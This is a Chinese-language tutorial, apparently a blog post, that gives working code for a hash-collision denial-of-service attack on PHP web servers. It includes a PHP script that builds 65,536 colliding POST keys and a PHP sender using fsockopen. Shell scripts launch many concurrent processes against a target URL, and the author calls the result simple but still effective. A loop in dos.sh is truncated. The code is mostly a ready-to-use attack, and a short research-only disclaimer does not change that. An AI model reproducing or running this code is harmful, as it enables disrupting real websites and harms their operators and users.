网上还有很多讲解,这里就不介绍了。
介绍个简单的碰撞实例
步骤一:生成一个文件,里面就是我们要使用的参数,也就是一堆要碰撞的hashkey
代码(data.php):
$arr=array();
$t=pow(2,16);
file_put_contents("f.log","");
for($i=0;$i<65536;$i++)
{
file_put_contents("f.log","&".$i*$t."=0",FILE_APPEND);
}
步骤二:构造PHP代码,发送POST请求
下面是发送post请求的PHP代码(dos.php)
$allurl=$argv[1];
$arr=split("/",$allurl);
$srv_ip =$arr[0] ;//你的目标服务地址
$srv_port = 80;
$url = str_replace($srv_ip,"",$allurl); //接收你post的URL具体地址
$fp = '';
$resp_str = '';
$errno = 0;
$errstr = '';
$timeout = 100000000000;
$post_str=file_get_contents("f.log");
// $post_str = "username=demo&str=aaaa";//要提交的内容.
// echo $post_str;
//echo $url_str;
if ($srv_ip == '' || $url == ''){
echo('ip or dest url empty
');
}
//echo($srv_ip);
$fp = fsockopen($srv_ip,$srv_port,$errno,$errstr,$timeout);
if (!$fp){
echo('fp fail');
}
$content_length = strlen($post_str);
$post_header = "POST $url HTTP/1.1\r\n";
$post_header .= "Content-Type: application/x-www-form-urlencoded\r\n";
$post_header .= "User-Agent: MSIE\r\n";
$post_header .= "Host: ".$srv_ip."\r\n";
$post_header .= "Content-Length: ".$content_length."\r\n";
$post_header .= "Connection: close\r\n\r\n";
$post_header .= $post_str."\r\n\r\n";
fwrite($fp,$post_header);
while(!feof($fp)){
$resp_str .= fgets($fp,512);//返回值放入$resp_str
}
fclose($fp);
echo($resp_str);//处理返回值.
//unset ($resp_str);
?>
很简单,构造请求,只不过post的参数从一个文件获取,就是上一步我们处理好的f.log,然后post给服务器
步骤三:在命令行运行dos.php
很简单 建一个 t.sh ,内容就一行代码:php -f dos.php $1 就是运行上面post数据的php代码
是不是还缺点什么,多进程!
步骤四:模拟多进程
为了模拟多进程形势,我们采用shell后台运行的方法,
再建一个dos.sh脚本,模拟多进程,代码如下:
for((i=1;i
do
sh t.sh $1 &
done;
进程数和攻击地址从命令行传参
使用方法
sh dos.sh www.xxxx.com/index.php 100
第一个参数是网址,第二个参数是要开的进程数量
到这就结束了,基本上是最简单的攻击代码了,不过确实还可以用
本文只用于技术研究,作其它用途,后果自负。